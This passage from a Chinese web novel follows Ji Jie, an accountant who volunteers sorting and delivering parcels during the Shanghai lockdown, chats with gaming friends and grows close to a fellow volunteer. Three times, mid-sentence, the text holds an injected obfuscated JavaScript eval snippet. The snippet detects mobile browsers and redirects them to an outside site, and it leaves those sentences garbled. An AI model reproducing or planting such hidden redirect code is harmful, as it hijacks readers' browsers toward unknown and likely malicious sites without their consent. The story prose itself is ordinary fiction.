走到大门口的棚顶下,季节收起雨伞,发现王者小伙站在眼前。周围还有两个志愿者,在忙着登记快递编号,三人都穿着鼓鼓囊囊的大白防护服。 看她来了,他指了指一边的纸箱说:“如果去送货,就穿大白防护服,相当于穿了雨衣。如果在门口雨棚下记录理货,就还是只穿小蓝围裙。” 季节立刻说:“我穿大白!”随即就当着他的面施展拳脚,伸胳膊蹬腿,把大白服套在身上。帽子一扣,从头到脚全包。 大白服不怎么打扮人,季节像蜜雪冰城门口装雪王的。而王者小伙虽然穿着一样的防护服,却鹤立鸡群,玉树临风,季节视线与他肩膀前胸平齐,眼前像一堵结实有弹性的白墙。 今晚“门口的”和“派送的”加起来总共只有他们四个,管五个里弄的活,板车只带过来两辆。 有一个中等身材的年轻男子独自记两个弄的代码,两张大白纸,左右开弓,过一会儿骂一声,操,记反了。 另一个穿黄色雨披的女生记一个弄的代码,同时负责送那个弄的货,边记边送,时送时记。每次送完回来,货架上又多了一堆新的,令她像抗洪抢险一样崩溃不已。 王者小伙,负责剩下所有的活。 季节来了以后,自觉顶上138弄和160弄的缺位,站到那两个货架前埋头苦干,将湿漉漉的包裹逐一记录消毒,登记后发到群里。幸好前两天已经被拉进这两个弄的传达群。 王者小伙被替换下来,单手拎过来一辆板车,准备去当“派送的”。地上已经堆得没处下脚。 他把快递一件一件在板车上放好,季节很有眼力见地过来帮忙,像捡垃圾一样从地上捡起一个个满是泥浆的口袋。 他颇有耐心地教季节:“1025弄的先放上来,码在最下边,1025最远。”又说:“按楼号从小到大的顺序摆,相近的楼一起送了。” 这是此前冷面大姐没教过的办法,令季节耳目一新,她脱口而出:“喔,你很聪明啊!”一抬头,发现他挑起一侧眉毛,口罩上方露出一双眼睛,如同幽黑发亮的深潭,正在凝视自己。 季节生怕他觉得自己妄加点评,急忙谦虚地问他这几天还积攒了什么经验,可否再给指点一二。他轻声一笑,把离得最近的几个楼的大包放在最上面,说:“好,再教一招,相邻的弄也摆在一起。我们现在摆的是对的。” 季节得意地说:“举一反三,这个我已经想到了。” 他的声音带着淡淡的戏谑意味:“哦哟,可以。” 黄色雨披姐独自拖车,默默出去送货。季节看见她远去的背影,大受感动,手持长伞冲入雨幕,想追随她并为她打伞。岂料终于赶上她明黄色的背影时,发现板车已空,她正站在门洞里跟人打电话。季节只好悻悻地回到门口,心中空荡惆怅。 多了一个人手,作业进度陡然提速。须臾之间,门口清空一半。季节混得如鱼得水,不仅能手脚麻利地接待快递,甚至反客为主,指使王者小伙帮她把货架最上层的大包搬下来装车。此外,还偶尔和快递师傅聊两句。不过师傅们已经被浇得喷泉一般,只能嘶吼,无心多言。 攒了有满满一车,王者小伙宣布出发。季节指着旁边的雨伞大刺刺地说:“去吧,那儿有雨伞你要不拿一把。”他看了看说,还是不拿了。 说完,他走进三街坊的雨夜,锐利的银色雨水打在他的防护服上,使他周身如同流动着蜿蜒的河流。 季节也没拿伞,跟在他身后走出棚顶之外,双手双臂披挂着几个外卖袋,说要去体验一下三街坊的面积。 他略微意外地问:“你要去送吗?” 季节解释说:“这几个我送,不等下一批了,一会儿饭菜凉了。” 他没再没客套,将外卖袋上贴的纸条翻过来看看,心中自有地图,给季节指路:“那个正对着你的就是14号楼,送完它以后往前走,再往右拐,就是18号和24号。” 季节望向他指引的方向,而他低头凝视季节口罩上方露出的眼睛。然后他们分头,走向遥远的一些角落。 在楼与楼之间穿梭,也在暴雨中穿梭,雨之外还是雨。世界喧嚣震动时,内心反而安宁,就这样走下去,似乎可以走到雨停,再之后走到夏天。 小区里灯火昏暗,多处有死胡同和隔断,季节慢慢寻找,穿过一层又一层的雨帘,比在写字楼里工作时平静。头一次在雨天不打伞,视线无羁无绊,树木、自行车棚、凉亭、汽车的种种黑影之间,楼房以某种既定规律排列成群。家家的窗里亮着灯,五光十色,整座楼像马赛克一样。 雨水沙沙地打在防护服上,真的一点都没有渗进去。 外卖都被季节放在楼下浇不着雨的地方,不久志愿者群里有楼栋联络人反映,接到外卖的居民对志愿者表示感谢,说饭还是热的,而且没变成泡饭。 季节回到大门口时,他们三个都在棚子下。风把门口的记录单都吹散了,白色的纸张落在雨里,很快就混沌不清,再也认不出字迹。王者小伙又在进行王者行为。只见他负手而立,抬头看着篷顶,篷顶多处兜水下沉,形成一洼深湖。季节心想,季节性水泡子的原理。 接着他突然抬手,重重拍在兜下来的篷布上,发出沉闷响声,水泡子里的水应声飞向天际。水泡子空了,重新变为陆地。季节又想,雨季过后,湖变陆地,演绎着地球表面千万年来的变化。 他转过身来,低头问季节:“怎么样,找到那个楼了吗?” 季节十分豁达地说:“找到了!” 那个叫本杰明的男志愿者热情洋溢,参与篷顶治理工作。本杰明拿着季节的长柄雨伞,捅向一处兜水的篷顶,水流四散,篷顶也漏了个小洞。 本杰明叹了口气,觉得篷布破了可惜,季节安慰他说总比被积水压塌了好,还说这就像时代变迁带来的震荡。这哥们说,靠,一时之间不知道你在夸我还是损我。雨披姐也调笑说,当然是损你了。 谈笑之间,时钟临近八点半,最后送一圈货就下班。这回季节捞到一辆小板车,拖车走了两个弄,感觉这车十分称手,比想象中的好推。就是自己不认路,只能送最近的弄。 八点五十,四个人在棚子下脱掉防护服,互相消毒,互道再见。从这一天开始,他们就像拜过把子的兄弟姐们一样,有一种患难与共的默契了。 回到家里,季节花十分钟洗澡,十五分钟吹干头发,躺床上划开手机,发现狐朋狗友们还激战正酣,顺便等着她上线。新一轮游戏开局,季节加入其中,其余四人是老凤,老D,瓶子和老盆。 屏幕上,五个人的头像和网名整齐排列:咬哥的板车,二凤,爆二凤,阿司匹林,毕业不失业。 季节连日苦练,有所进益,逐渐上道,打不过就跑,转身逃窜这一招的身手比谁都快。瓶子赞许地说:“对了,这个游戏的精髓就是要苟住,苟到最后就胜了。” 季节情不自禁地说:“就和我那失败的人生一样。” 后来老凤突然说有个邮件要回,然后空挂着会议,匆匆忙忙回复工作去了。 老D啧啧称奇:“老凤贵为沪上徐汇土著,血统纯正,竟还志存高远,甘于奉献。” 老凤的声音幽幽传来:“都是被逼无奈,垃圾事务所,还我青春。” 这时老盆插嘴说,老凤家祖坟在远郊,并非世代居于浦西。老D讶异地说,原来老凤是串儿? 老凤沉重的声音再度传来:“D神,我还没死,我听得见。” 季节边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718038|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃跑边问大家都吃了吗?她向几人娓娓道来,说今天当班时有所耳闻,相传居委透露口风,说要从慈善超市等渠道引进食品和生活用品,供居民订购,过几天就下发菜单,隔几天就能组织订一次。三街坊有,瓶子他们住的六街坊应该也有,毕竟两个小区挨着。 瓶子说有些小区已经发物资了,五花八门,蔬菜,面饼,粽子月饼,品类丰盛。 老D说,肯定是老凤住的这种小区。 大家哈哈大笑,都知道老凤实际也住老房子。老凤的声音又传出来,D神你不是来过我家么。 老凤将事务处理完毕,无声无息地回到游戏和会议室中。眼看要开始下一轮游戏,季节说:“朋友们我要先吹瓶了,等我一下。” 季节切到聊天界面,在991群里问道:“请问是不是还有大群发布排班信息?”她终于反应过来,觉得自己先前多有误会,目前所在的991群并非真正的大群。 她的心里隐隐约约地期待着。也许王者小伙会记得她的提问,据此认出她的微信号,发来添加好友的申请。 不多时,有个叫小条的志愿者来加她,上来以后话不多说,直接把季节拉进大群,群名是:三街坊抗疫担当(派送青年组)。粗略看来,此群汇聚了众多核心成员,为志愿者队伍的骨干力量。 小条冷冷地告诉季节,进群后跟群主说一下自己有空的时段,群主就是队长。不等季节感谢,小条又问了一连串问题,你一般什么时间能来,是否是党员,周末呢? 这人语气如冰,用词生硬,毫无表情或飘号,让季节诚惶诚恐,猜测对方是一心向党的老大爷,用了孙子的微信号。她老实回答道,每天晚班都能来,不是党员,周末白天也可能加班,但晚上一定都有空。 小条发给季节一张三街坊的电子地图,比她在大门口牌子上拍的清晰多了,令季节如获至宝。 季节的头像是个表情包,上面的题字是:MLGB-mylifegettingbetter。头像MLGB诚恳地说:谢谢您。 小条的头像是个悲伤蛙,蛙嘴吐出气泡说:你懂个der。头像叛逆蛙淡漠地对她说:不客气。 和队长报备后,季节翻了翻大群的消息,发现本杰明和雨披姐也在里面,还有那天的躁动大爷也在,好像还是积极分子,正在承诺自己会给志愿者用的灯盏换电池。躁动大爷头发花白,却起了个言情小说男主的名,叫景文。 有个志愿者大爷每天开着自己的车来大门口,把后备箱装满快递,驱车在小区中穿行配送,往返多次,让季节印象深刻。现在驱车大爷正在群里发送手写的、略有错字的段落。原来大爷名叫二个赤,签名是:张赫——赤子之心、赤诚相待。景文非要管驱车大爷叫叔叔,管小年轻志愿者叫兄弟。 季节又去一号楼的楼栋群里刷了一遍新消息,楼里邻居们在104的团结下,情谊突飞猛进,在谈论局势和人生。 有人说,明早又有核酸检测,我们楼排在八点半,大家早点起。又有人说,我司销售部门都阳了,被送到方舱隔离了,董事长居然在线上会议里发火,认为销售部门业绩差,不作为。 季节顺嘴接了一句,那还能怎么办,董事长想让你们干什么,方舱展业? 季节隔壁的601哥们说,根据咱们小区公布的感染人员楼号,我分析了感染的先后顺序及分布,发现其呈现由北到南的趋势,是不是风一吹,就吹过来了。 104大哥说,难说。 几轮游戏打完,朋友们兴致未尽,话也没说够,但都觉得困了,于是做鸟兽状散了。季节躺在床上,在雨里站了几小时,此时困倦突然袭来。 在沉入无边梦境之前,她模糊地想到,明天他还会来吗?他叫什么,多大年龄,志愿行动结束那天,他们会失去联系吗…… 5. 你面对我是清冷的 早上八点十五,一号楼开始躁动不安。楼栋群里,居委老师通知一号楼八点半到达小区中央的凉亭,排队接受核酸检测。随后104主持大局,严控时间,统筹协调,组织大家提前预备,戴好口罩,拎上垃圾,不要同时下楼。 八点二十五,楼里邻居陆续下楼,季节和楼下的502姑娘断后,挨个敲门喊话,确保无人遗漏。 前一栋楼刚做完核酸,最后的几个人正陆续离开凉亭。离去的人步伐缓慢,想留在清澈的阳光中,同时警惕着四周看不见的细菌纷扰,脚步虚浮飘渺,彼此一再回避。 一号楼一行人在铺着木板的狭长人行道上排队,每人踩着一个连夜贴好的圆点,缓慢向凉亭移动。抬头看天,如同坐在井中。楼根底下百草丛生,已经有野花绽放,今年春天的确来得很早。后来他们做了检测,每人被棉签戳一下嗓子眼,陆续回到楼中,发现光线骤然昏暗,潮湿的寒意待人走入其中,又重新合拢,在老楼中久久弥漫。 一个人边上楼边说,刚才把我戳吐了,眼泪直流。另一个人说,提神醒脑,清新一整天啊。 季节回家打开电脑,开始铺底稿,其余楼还在一栋一栋地赶去检测。每个人都等待着检测结果,又畏惧它的到来。有人说,下楼检测之前喝一口红茶,灭菌杀毒,即使喉咙有病毒也测不出来,不用被拉到方舱。又有人说,不是喝茶,应该是喝一口茅台,酒精消毒。 白天大家都不太忙,老凤在群里说:农? 季节一秒回应,峡谷见。 几个人都进了会议室,也进了游戏。季节已经无所谓,其他几个人怕在峡谷遇见同事,都用的小号。 只听瓶子说:“我们楼上午核酸去了,等结果等得心焦了,咬金哥你们小区也是吧?” “是啊,就跟等着出高考成绩似的。”季节生怕游戏打到一半,突然几个医护人员闯进家里把她抓走隔离。 老D凉嗖嗖地说:“看来大家都怕进方舱啊。” “怎么说呢?要是我自己病了,我不想进方舱。但要是我父母病了,我会希望他们进方舱。”季节心事重重地解释道,“慢性病患者,怕病毒加重其他基础病,进去起码有人看着。” 老D则说:“医疗挤兑了,如果你父母需要看别的病,就是另一回事了。” 老凤从不轻易发表见解,只是一味地打游戏。打完一局,发现他不知道什么时候已经往群里扔了几个新闻,都是医疗挤兑相关。 “真是天下大乱。”季节头疼地驱使着程咬金,一出场就被打死了,“顺便跟你们报个喜啊,我老家也封城了,东北城市,第一次做到与上海同步。” 老盆兴致勃勃地说:“哈哈!没处躲了吧,你就算偷渡回家也没用!” 季节接着声情并茂地说,封城那天,消息来得很突然,我妈本来出门去医院上班了,到单位发现静默了,内科医生一律先回家,外科医生留下。于是她又往回走,路上没有车辆。步行一小时到家,小区门关了,进出都不让,街上空无一人,她当时就腿软了。 瓶子插了一句:“那你爸呢?” “嗐。”季节有滋有味地喝了一口热水,润了润讲到嘶哑的喉咙,“他俩不是早离了?我爸一个人封在他自己住的地方。” 瓶子便问然后你妈怎么样?季节继续讲述道,我妈孤立无援,向门卫求饶,没被放行,去社区请求,社区表示文件就是这么写的,爱莫能助,只能等进一步通知。我妈绕着小区栅栏走了几圈,想寻找突破口,翻墙进去,可惜未能找到合适位置。 瓶子听得入戏至深,跟着紧张刺激起来,直问那怎么办?让人在哪过夜?是不是要像末世文里那样抢物资睡车厢? 季节说,最后有一对邻居,两口子,开着车回来了。他们拿着特许通行证出门透析,再回来,发现回不去了,就去社区大闹。保安示意我妈跟上。我妈赶到社区时,那两口子正在宣称要开车爆冲小区大门,居委书记总算同意给小区门卫打电话,特批他们进入。书记向我妈点头,暗示她跟着一起进去。两位贵人开车走了,我妈追着车后面,跟头把式地跑回小区门口,赶在拦车杆缓缓降下之前,回到了家。 瓶子长吐一口气。老盆说,历险记啊。 在这时,病毒对于大多数人来说太过于崭新,人们总是对未知的东西怀有恐惧。季节无限惆怅地说:“也不知道封起来到底是好还是不好?但我确实不想让父母老人感染。” 老D颇有哲理地说,无论怎么做,无论选哪条路,都没有好与不好,都只不过是一回事。 这局游戏已经打了太久,逐渐地,大家都沉默了。没人说话,只是消极地防御着。最后,他们五个耗在水晶周围不出去,对方来一次打一次,就这样又持续了十五分钟。 季节说,太疲惫了。 突然之间,屏幕中的世界震动不已,对方耐心耗尽,点了投降。会议里的五个人都不敢相信自己的眼睛,个个嘴里嘶哈感叹,唏嘘不已。老D喃喃地说:“这可是咱们打游戏以来……第一次胜利啊!” 是的,之前这些天的每一局,都是输的。 无需多言,几人都自觉地下线,一致认为见好就收。季节看了一眼楼栋群,104大哥在一号楼的群里不停地发言。他一会儿问,101,你家人口也多,用不用我匀一点蔬菜给你,白菜。一会儿问,居委老师,我周末和晚上可以做核酸协管的志愿者么? 看到这里,季节再也按捺不住对104的赞赏之情,把104的好人好事截图发到狐朋狗友群里请各位欣赏。瓶子感慨地说,我妈一定喜欢104,之前她就希望将来的女婿像自己单位一个小伙子那样能张事儿,比如她演讲的时候电脑坏了,那小伙飞奔上来修,又比如一群人散步时候在路上捡到钥匙,那小伙飞奔去交给收发室…… 听到这里,老盆不轻不重地咳嗽了一声。 闲扯了一会儿,就各自想办法准备晚饭。季节想煮面条,但是家里没盐了。她怀疑只要自己在群里吆喝一声,104就会飞奔上来给她送盐,一步跨越一层楼那种。 考虑片刻,季节还是没去借盐,吃了几个馒头,节约时间把底稿做完,五点钟准时去当班了。 今天没下雨,来的志愿者不少。在一片蓝围裙里,季节准确无误地看见了他,他也看见了季节。他们自然而然地在991的货架前碰到一起,开始理货。 明明昨晚才并肩战斗过,今天他却又像不认识季节了一样。 季节一转眼就把货架上的大包小裹登记好了。板车都被占用,季节趁着空档去徒手送货,挑了几个不太沉的。他也拿了几个小件,说:“那你跟着我吧,一起过去。” 他们各自捧着物件,走向三街坊更深处,道路曲折漫长,季节从未踏入。他忽然轻声说:“其实女生在门口登记就可以,不用送东西。” 季节步子一迈,全身关节刚活动开,使不完的劲,嘴上谦虚地说:“没关系,我可以送一些小件。”其实想闪身躲入树荫里,甩开所有人的追踪,绕三街坊奔走穿梭,在丛林中跨栏大跳。禁锢之地,终于闪出了自由的火花。 晚风轻拂游人面,他年忆梦第几重。季节神采飞扬,兴致大增,拉着王者小伙没完没了地说话,尚且不知当年春天处于故事的第几集,又将有哪些片段从此刻入年华之中。 季节想起那个冷峻大爷的训诫,就问他:“你是党员吗?” 王者小伙懒洋洋地说:“是。党员都要出来当志愿者,组织上安排的。” “难怪说呢。”季节主动讲述自己的历程,“我不是党员,我是自愿来当的。” “好,有觉悟。”他点了点头,有气无力,不想多说。 季节却正在兴头上,得意地说:“有境界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718039|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他不再说话了。面对她的时候,他总是淡淡的,不像对别人那么谈笑自如。明明前几天才混个半熟,睡一觉起来又若即若离。季节厚着脸皮继续聊道:“你看到咱们小区公布的感染信息了吗?每天楼栋群里会转发,有最新感染的人员和楼号,我们楼里有人搞了数据分析,发现是从北到南的,是不是风一吹,就吹过来了?” 他不大感兴趣地说:“不知道,反正相邻的楼接连确诊。” 季节呈现出忧虑:“还听说小区里的这个小学,要改成临时的方舱医院,不知真假?” “谁知道呢。” 季节自我安慰:“不管怎么说,咱们这种跑腿干活的志愿者已经不错了,不像搞管理的志愿者天天生气,我们楼的104去……” 季节活泼的憨憨的声音不绝于耳,他有气无力地附和着,目视前方道路,始终不看向她。她早已察觉到他今天的冷淡之中带有一丝若有若无的紧绷,终于还是把嘴闭上了,到下一个路口跟他点点头,就各自去送货。 把包裹放在楼门口,拍照留证,再去找下一个楼,反复循环,直到把手里的货送完。等她回到大门口,看到本杰明和雨披姐等人都在边干活边聊天,就立刻把失望和疑惑抛到脑后去了,忙不迭地加入了他们的闲聊。 地上又堆得没法下脚。季节忙得飞速旋转,刚接了新快递,转身放到地上的功夫,架子上又多了几个包裹,神不知鬼不觉。抬头看去四下无人,空余夜幕清风。所谓天下武功,唯快不破。 送货师傅已经冯虚御风,来去自如。城市万籁俱寂,只有他们在风驰电掣,支撑着一座快要散架的城市,生活的破车勉强开动,嘎吱作响,向前方驶去。 来往的师傅里,有人已经感染,伪造了阴性报告,得以继续出车。有人健康状况良好,但怕自己行走四方,携带病毒,传染家人邻居,所以晚上睡在车站或旮旯。 总之,志愿者手持喷壶,不停消杀一切,仿佛这样就把病毒挡在了三街坊的门外。王者小伙回到大门口以后,融入集体,又变得正常起来,主动站到季节的991货架,跟旁边的人有一搭没一搭地瞎胡扯。 偶尔有两分钟的空闲,季节,王者小伙,还有旁边两个小姑娘,会面向门外的世界,双手叉腰,吹着晚风,惬意地谈上片刻。 搬到三街坊以来,季节下班就回到最外围的一号楼,从来没往小区深处走过。季节说:“一送货才知道,咱们小区真大啊。” 王者小伙:“废话!五千多个人呢,本街道第二大的小区。” 季节:“……” 又攒够了一批,他带领季节把地上的快递按楼号捡到板车上。季节已经把这一套流程做得滚瓜烂熟,游刃有余,连纸条也迅速写好了。他接过纸条,驾车北去,再回来时,地上又是长长的一行,立即进入下一趟运输。 如此来回几趟以后,王者小伙突然不见踪迹,只有季节还在三头六臂地接待门口的快递。地上很快堆得像一片垃圾场,季节像个捡破烂的,急得浑身冒汗。 138弄和160弄的楼少,因此货物一直不算多,一车一车很快拉走了,地面保持整洁。负责138和160的那个小姑娘同情地看着季节,始终执壶替她消毒,路见不平,义愤填膺:“真是的,991又没人送了,再这样让那些订快递的人自己来当志愿者!” 季节也气不打一处来,用袖子抹了一把额头上的碎发,气势汹汹地张望着北方:“刚才送货那人呢?!” 很快,铺天盖地的包裹挫败了她的暴躁,把她耍得团团转。季节趴在货架上登记,不时回头,踮脚张望远方。等她发觉时,才明白自己是在寻找他。 他突然回家躺着了?还是去帮别的弄送货了? 旁边几个货架也忙得热火朝天,没有多余的人手过来帮忙。夜晚,快要结束在一个失望里。 6. 原来是你 再抬头时,王者小伙突然远远地出现了,向季节这边大步走来。季节立刻迎上去堵住他的路,抬头看着他,眼睛里全是失望和委屈:“你刚才去哪了?” 她本想义正言辞地质问和挑战他,谁知尚未出口就已经底气不足,待到说出来时,声音彻底软了下来,还带着哭腔。他愣住了,季节自己也愣住了。 他实在是太高了,季节很少抬头看着他说话。这次她清晰地看见他的眉眼,他也看着她浅淡清秀的长眉下,一双向上看着的懵懂的、可怜的眼睛。 季节质问完有点后悔,担心他被道德绑架后反唇相讥,拿话怼她:我去干什么还要和你报备?更害怕他说:我就是不想和你搭伴啦!…… 没想到他低头看着季节,有些不知所措:“我刚才去核酸了,叫到我们楼了。”他的声音很轻很轻,比以往更低沉柔和,好像在安慰她一样。 季节心中蓦然光明,所有的猜疑和沮丧都一扫而空。“啊!原来你去核酸了,捅的鼻子还是喉咙?你吐了吗?”她立刻冰释前嫌,主动套起了近乎,“等你缓过来,咱们就装车吧!”三街坊果然是本街道最大的小区,原来今日的核酸检测从早上持续到现在,尚未结束。 即使是隔着口罩,季节也能感觉到他微微笑了一下。他好像松了一口气,看起来心情不错:“来吧。”季节往板车上码货,手法专业,排列得当,地上立刻空出一片。 他单手拖着满满一车的货,将要沿三街坊狭窄的主路向北出发,忽然回头看着她,认认真真地说:“我去送货。” 季节愣了一下,接着心中一动。果然,他又加了一句:“不会扔下你跑的,别又哭鼻子了。” “谁哭了?”季节又好气又好笑。他却不等季节再反驳,拖着车大步走远了。 转眼已临近晚上八点,快递有所减少。王者小伙还在整理货架,季节看着那一堆包裹,如果想全部送出,至少还需两趟。她尽量含蓄地问:“咱们加班送完这些再走吗?” “加班?”他从鼻子里轻轻笑了一声,“不用加班。” 季节想起自己在事务所度过的几年,四季都曾在大厦的五十层待到深夜,五一假期的白天也去加班。在落地窗前,她俯视过满城灯火,也在晴天眺望到远方的海。如今即将离职,此行就要告一段落。 想到这里,季节满心怀念,没头没脑地蹦出一句:“你们是不是没在乙方干过。” 小伙看着大门外的街道,凉凉地发问:“什么乙方,乙方是什么?” “?” 季节一时语塞,不知道该怎么解释。她万万没想到这年头还有人不知道什么是乙方。据此,她在颅内快速推测,猜出这人没参加过工作,社会经验比较少,或许是一直失业的闲散人员,竟然还能入党。 为了不伤害他的自尊心,季节只能简要地说:“乙方就是不停地加班。” “我不知道乙方。”他面无表情地说,“我是保安,只有一身力气。” 季节噢了一声,心想原来他不是没工作,可能是凭借出众的外形和声线,在摩天大厦里当一位西装白手套的安保人员。只是不知为什么,她的心里蒙上一层淡淡的失望,这种情愫令她捉摸不透,也不敢深究。 为了掩盖这种失望,她强打起精神,故意像热心大姐一样问他:“就在这附近上班吗?” 他没有回答,只是抬手把货架最顶端的几个沉重包裹搬下来消毒,低声说道:“好,今天我们不当乙方。”像在自言自语,又像在哄季节一样。 季节就像被施了法,仰头睁着眼睛,定定地看着他把东西一一搬完。 等季节整理完快递,拎着壶回到架子前,他问:“你是在什么乙方?” 季节心想你小子学得还挺快,于是如实回答,我在会计师事务所。说完又担心如果他问什么是会计,解释起来可能有一点麻烦,要从复式记账法讲起。 他悠悠地问:“四大吗?” 四大会计师事务所,行业龙头,无数应届生献祭青春的地方。 季节这一惊非同小可,感觉自己瞳孔都缩小了,颤抖着问:“对!你怎么知道?!” 他又问:“A所吗?” “对!你怎么知道?!” 他理所当然地说:“废话,其他三家都离这儿远。”季节被噎得半天没开口,索性不再说废话了。他却又问道:“你们前几天不是发慰问品了?” “对!你怎么知道?!”季节钦佩不已,反复问道,“你连这都知道?” 事已至此,她心中大致有数。三街坊地处本市头号CBD,老小区中藏龙卧虎,有大量金融界职员居住于此。应该也有不少A所同事租住在这里。公司发的慰问品纷至沓来时,也许是他经手消毒和派送的。季节回想起那个半夜送到的包裹,当时她匆匆下楼,使出吃奶的劲才把它扛回去。 季节实在地说:“那里边的蔬菜有一半都烂了,肉是整只的鸡和羊腿,我没有刀能切开,也没有锅能做。”说完觉得这话太刻薄,她又点头补了一句:“当然,能发就很好了。” 他瞟了她一眼:“你是自己住,平时不做饭?” 季节只得承认,自己从前都不开火,现在手头的小锅是前几天刚弄来的,那一天幸运之神眷顾,让她抓到了快闪店绽放的一瞬间,大概是那天风也正好,运力也充足。 “噢。”他有意无意地说,“我平时也不做饭的。公司发的整只鸡鸭都被我送给邻居了。” 季节一听,急忙表示:“对对对,你要是听说谁家需要,记得告诉我,我可以赠送。不要把东西浪费了。” 他轻声笑了,也可能是从鼻子里嘲笑了一声。 转眼又来了一阵快递,季节投身其中,大展身手,谈话就此终止。 有个烫小卷的居民妇女不知从哪冒出来,缠着季节一惊一乍地问:“我的快递呢?” 季节问她门牌号多少?烫小卷答非所问,眉飞色舞,兀自离奇地说,上午就通知我说要送到楼门口,怎么还没有? 他站在季节身旁,接过话问:“门牌号多少,我跟上午当班的志愿者问一下。” 烫小卷说:“就是24号楼呀,你问好了,我真的没收到。” 季节问她是哪个弄的24号楼,烫小卷扬手一指,怕是把半个三街坊都指进去了:“就那个呀!” 眼看着烫小卷要走上前来检查大白纸,他伸出一只手,中气十足地说:“防疫要求,请你离我一米以上。”他伸长的手臂如同一把宝剑,将烫小卷远远隔开。季节听了他的话,才猛然记起防疫要求,下意识地往他身边挪了几步,整个人藏在他身后。 后来季节想起来,自己总是像尾巴一样贴着他,彼此的距离早就跌破防疫要求,但他从没让她后退。 找了几轮,烫小卷的快递没找到,季节怀疑是下单的地址就没写明白,就劝她回去等着,满地的货物都送出去以后,无主快递会像漏网之鱼一样遗留在原地,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718040|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时季节会留意和通知她。对方配合管理,没有异议,出来站了十分钟,被人浪裹挟其中,早已畏惧病毒侵袭,留下电话就走了。 等季节忙完以后,他踱步到季节身边,漫不经心地问:“所以你在A所是做什么,advisory还是?” “?”季节大吃一惊,心想好标准又随性的英文发音,顿时明白此人不可小看。说不定他竟是个扫地僧,旅居尘世,只当个清闲保安,但什么都知道一点。 她一五一十回答:“我是做税务咨询的。不过我已经交信了,再过十几天就离职。”他刚要再说什么,两人就被一阵新的快递雨冲散了。 驱车大爷二个赤今晚也来了,在小区内勤恳绕圈,那辆小车的后备箱成为本场MVP,一车就能拉走不少。躁动大爷景文在旁边看着,突然抢身上前一步,双手握住驱车大爷的手,深情地说,叔叔,真是多亏你了。 隔壁货架刚到了一批货,纷乱嘈杂。本杰明说自己腰间盘突出,号召别人和他一起抬大包,雨披姐积极响应,过去跟本杰明一起喊着号子,把大件一个一个抬到板车上。季节也走过去,独自帮忙抬了几个中等型号的箱子。 本杰明说:“今天下午居委组织订购蔬菜包,我订了。” 雨披姐说:“我也订了,报名通道一开放我就进去了。” 季节说:“……我那时候在打游戏,好像没看群聊,错过了。” 几个人讨论了一会儿食品供给问题,又照例展望了一下解封日期。本杰明认为四月一日解封的传闻,本身就是一个节日谎言。季节赞同了他,说到了那时候肯定又会顺延。雨披姐说,刚封的时候家里没东西吃,大人吃白米饭,把肉菜省下来给孩子吃,好在最艰难的时候已经过去了。 等季节忙完回到货架前,王者小伙踱了过来,站在她身边。时间已将近八点半,他放下喷壶,对季节说:“好了,我们今晚不加班,剩下这些就留在货架上,明天再送。”季节笑了,明明已经加班了。她转过头,睁着明亮大眼睛看向他,而他看向货架,目不斜视。 季节脱下蓝围裙和手套,放进垃圾桶里。今晚人手众多,消毒喷壶紧张,她没找到喷壶,就管一个志愿者借了点免洗消毒液,简单搓了一把手。 再回去找他时,却发现景文一边在门口收灯,一边训斥他:“你怎么整晚一直跟人说话?你干活了吗?” 他挑了一下眉毛,转身脱下小蓝衣。景文被他激怒,彻底宣战,使出杀手锏,大喝一声:“你是不是来混党员经历的!” “……” 景文颇为得意,看起来,这是他引以为傲的必杀技能。 王者小伙对景文一摊手:“单位叫我来的。”景文仍然喋喋不休。 季节迈着健步走过来,冷冷地对景文说:“他干了。” 景文手里拿着一堆灯头和喷壶,错愕地看着她。季节重复一遍:“他一直在干活,我看见了。” “好了,算了。”他喊住季节,声音十分随和疏朗,“做好自己的事就可以了。” 季节怒气冲冲地走到他身边,挨着他站着,一边搓着消毒液一边大声说:“有病吧!什么事啊……”她过于沉浸,完全忘记了景文和他的同伴就站在旁边,满头黑线地听着她破口大骂。 他轻声笑了,说,管他呢。 两人便告了别,季节转身向着一号楼走去。他突然在她身后问:“季节……是吗?” 季节回头一笑:“小条。” 7. 逝去的歌 迎着清晨的第一缕阳光,喝着新鲜冲泡的速溶咖啡,季节开了电脑,捋了一遍今天要做的杂碎,排出先后顺序。气沉丹田,静默片刻,季节缓缓睁开眼睛,突然抬手。 瞬息之间,手起指落,带起一阵风直冲门面。季节双手敲击键盘,上下翩飞,如同职业电竞手般疾风骤雨,又如行军的鼓点般急促激昂。 她的嘴角缓慢泛起一个快意的微笑。 